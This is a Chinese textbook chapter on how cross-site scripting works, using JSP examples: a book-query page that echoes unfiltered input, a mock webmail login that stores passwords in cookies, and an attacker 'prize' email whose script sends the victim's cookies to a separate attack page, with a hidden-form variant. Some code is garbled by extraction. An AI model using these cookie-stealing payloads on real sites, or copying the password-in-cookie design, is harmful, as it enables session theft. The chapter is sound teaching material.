SQL注⼊和XSS攻击的原理
8.4 Web跨站脚本攻击
8.4.1  跨站脚本攻击的原理(1)
跨站脚本在英⽂中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。
跨站脚本,顾名思义,就是恶意攻击者利⽤⽹站漏洞往Web页⾯⾥插⼊恶意代码,⼀般需要以下⼏个条件:
客户端访问的⽹站是⼀个有漏洞的⽹站,但是他没有意识到;
在这个⽹站中通过⼀些⼿段放⼊⼀段可以执⾏的代码,吸引客户执⾏(通过⿏标点击等);
客户点击后,代码执⾏,可以达到攻击⽬的。
XSS属于被动式的攻击。为了让读者了解XSS,⾸先我们举⼀个简单的例⼦。有⼀个应⽤,负责进⾏书本查询,代码如下:
query.jsp
1 <%@ page language="java" import="java.util.*"
2  pageEncoding="gb2312"%>
3欢迎查询书本
4 <form action="queryResult.jsp" method="post">
5请您输⼊书本的信息:<BR>
6    <input name="book" type="text" size="50">
7    <input type="submit" value="查询">
8 </form>
运⾏结果如下:
运⾏query.jsp,输⼊正常数据,如"Java":jsessionid
提交,显⽰的结果是:
结果没有问题。但是该程序有漏洞。⽐如,客户输⼊"<I><FONT SIZE=7>Java</FONT></I>":
查询显⽰的结果为:
该问题是⽹站对输⼊的内容没有进⾏任何标记检查造成的。打开queryResult.jsp的客户端源代码,显⽰为:
更有甚者,我们可以输⼊某个⽹站上的⼀幅图⽚地址(此处引⽤google⾸页上的logo图⽚):
显⽰结果为:
很显然,结果很不正常!
以上只是说明了该表单提交没有对标记进⾏检查,还没有起到攻击的作⽤。为了进⾏攻击,我们将输⼊变成脚本:
8.4.1  跨站脚本攻击的原理(2)
提交,结果为:
说明脚本也可以执⾏,打开queryResult.jsp客户端源代码,为:
于是,程序可以让攻击者利⽤脚本进⾏⼀些隐秘信息的获取了!输⼊如下查询关键字:
提交,得到结果:
消息框中,将当前登录的sessionId显⽰出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该⽤户session,获取⼀些信息。
提⽰
在JSP系列中, sessionId保存在Cookie中。
实际的攻击是怎样进⾏的呢?如前所述,攻击者为了得到客户的隐秘信息,⼀般会在⽹站中通过⼀些⼿段放⼊⼀段可以执⾏的代码,吸引客户执⾏(通过⿏标点击等);客户点击后,代码执⾏,可以达到攻击⽬的。⽐如,可以给客户发送⼀个邮件,吸引客户点击某个链接。
以下模拟了⼀个通过邮件点击链接的攻击过程。攻击者给客户发送⼀个邮件,并且在电⼦邮件中,通过某个利益的诱惑,⿎动⽤户尽快访问某个⽹站,并在邮件中给⼀个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执⾏了这段代码。
我们模拟⼀个邮箱系统,⾸先是⽤户登录页⾯,当⽤户登录成功后,为了以后操作⽅便,该⽹站采⽤了"记住登录状态"的功能,将⾃⼰的⽤户名和密码放⼊cookie,并保存在客户端:
login.jsp
1 <%@ page language="java" import="java.util.*"
2  pageEncoding="gb2312"%>
3欢迎登录邮箱
4 <form action="login.jsp" method="post">
5请您输⼊账号:
6    <input name="account" type="text">
7    <BR>
8请您输⼊密码:
9    <input name="password" type="password">
10    <BR>
11    <input type="submit" value="登录">
12 </form>
13 <%
14//获取账号密码
15    String account = Parameter("account");
16    String password = Parameter("password");
17if(account!=null)
18 {
19//验证账号密码,假如账号密码相同表⽰登录成功
20if(account.equals(password))
21 {
22//放⼊session,跳转到下⼀个页⾯
23            session.setAttribute("account",account);
24//将⾃⼰的⽤户名和密码放⼊cookie
25            response.addCookie(new Cookie("account",account));
26            response.addCookie(new Cookie("password",password));
27            response.sendRedirect("loginResult.jsp");
28        }
29else
30 {
31out.println("登录不成功");
32        }
33    }
34 %>
8.4.1  跨站脚本攻击的原理(3)
运⾏,得到界⾯如下:
输⼊正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页⾯底部有⼀个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:
loginResult.jsp
1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
2 <%//session检查
3    String account = (Attribute("account");
4if(account==null)
5 {
6        response.sendRedirect("login.jsp");
7    }
8 %>
9欢迎<%=account%>来到邮箱!
10 <HR>
11 <a href="mailList.jsp">查看邮箱</a>
运⾏效果如下:
为了模拟攻击,点击"查看邮箱",我们在⾥⾯放置⼀封"邮件"(该邮件的内容由攻击者撰写)。代码如下:
mailList.jsp
1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%>
2 <%
3//session检查,代码略
4  %>
5 <!—以下是攻击者发送的⼀个邮件-->
6这⾥有⼀封新邮件,您中奖了,您有兴趣的话可以点击:<BR>
7 <script type="text/javascript">
8    function send()
9 {
10var cookie = kie;
11        window.location.href = "
12 localhost/attackPage.asp?cookies=" + cookie;
13    }
14 </script>
15 <a onClick="send()"><u>领奖</u></a>
效果如下:
注意,这⾥的"领奖"链接,链接到另⼀个⽹站,该⽹站⼀般是攻击者⾃⾏建⽴。,为了保证真实性,我们在IIS下⽤ASP写了⼀个⽹页,因为攻击者页⾯和被攻击者页⾯⼀般不是在⼀个⽹站内,其URL为:
1 localhost/attackPage.asp
1 <%@ Language = "VBScript" %>
2这是模拟的攻击⽹站(IIS)<BR>
3刚才从⽤户处得到的cookie值为:<BR>
4 <%=request("cookies")%>
注意,attackPage.asp要在IIS中运⾏,和前⾯的例⼦运⾏的不是⼀个服务器。
⽤户如果点击了"领奖"链接,attackPage.jsp上显⽰:
Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!
此时,客户浏览器的地址栏上URL变为(读者运⾏时,具体内容可能不⼀样,但是基本效果相同):
localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%2
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF
8.4.1  跨站脚本攻击的原理(4)
从这个含有恶意的脚本的URL中,⽐较容易发现受到了攻击,因为URL后⾯的查询字符串⼀眼就能看出来。聪明的攻击者还可以将脚本⽤隐藏表单隐藏起来。将mailList.jsp的代码改为:
mailList.jsp
1 <%@ page language="java" import="java.util.*"
2  pageEncoding="gb2312"%>
3 <%
4//session检查,代码略
5  %>
6 <!—以下是攻击者发送的⼀个邮件-->
7这⾥有⼀封新邮件,您中奖了,请您填写您的姓名并且提交:<BR>
8 <script type="text/javascript">
9    function send()
10 {
11var cookie = kie;
12        kies.value=cookie;
13        document.form1.submit();
14    }
15 </script>
16 <form name="form1" action="
17 localhost/attackPage.asp" method="post">
18输⼊姓名:<input name="">
19    <input type="hidden" name="cookies">
20    <input type="button" value="提交姓名" onClick="send()">
21 </form>
该处将脚本⽤隐藏表单隐藏起来。输⼊姓名的⽂本框只是⼀个伪装。效果为:
attackPage.asp不变。不管你输⼊什么姓名,到达attackPage.asp都会显⽰:
也可以达到攻击⽬的。⽽此时,浏览器地址栏中显⽰为:
⽤户不知不觉受到了攻击。
提⽰
实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他⼿段得知,也就是说,cookie的值不可能直接在攻击页⾯上显⽰,否则很容易被⽤户发现,这⾥只是模拟。
从以上例⼦可以看出,XSS可以诱使Web站点执⾏本来不属于它的代码,⽽这些⾏代码由攻击者提供、为⽤户浏览器加载,攻击者利⽤这些代码执⾏来获取信息。XSS涉及到三⽅,即攻击者、客户端与客户端访问的⽹站。XSS的攻击⽬标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于⽹站的Web应⽤对⽤户提交请求参数未做充分的检查过滤。
8.4.2  跨站脚本攻击的危害
XSS攻击的主要危害包括:
盗取⽤户的各类敏感信息,如账号密码等;
读取、篡改、添加、删除企业敏感数据;
读取企业重要的具有商业价值的资料;
控制受害者机器向其它⽹站发起攻击;等等。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。